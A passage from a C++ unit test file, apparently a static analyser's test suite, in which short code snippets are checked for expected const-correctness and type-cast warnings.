{}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n 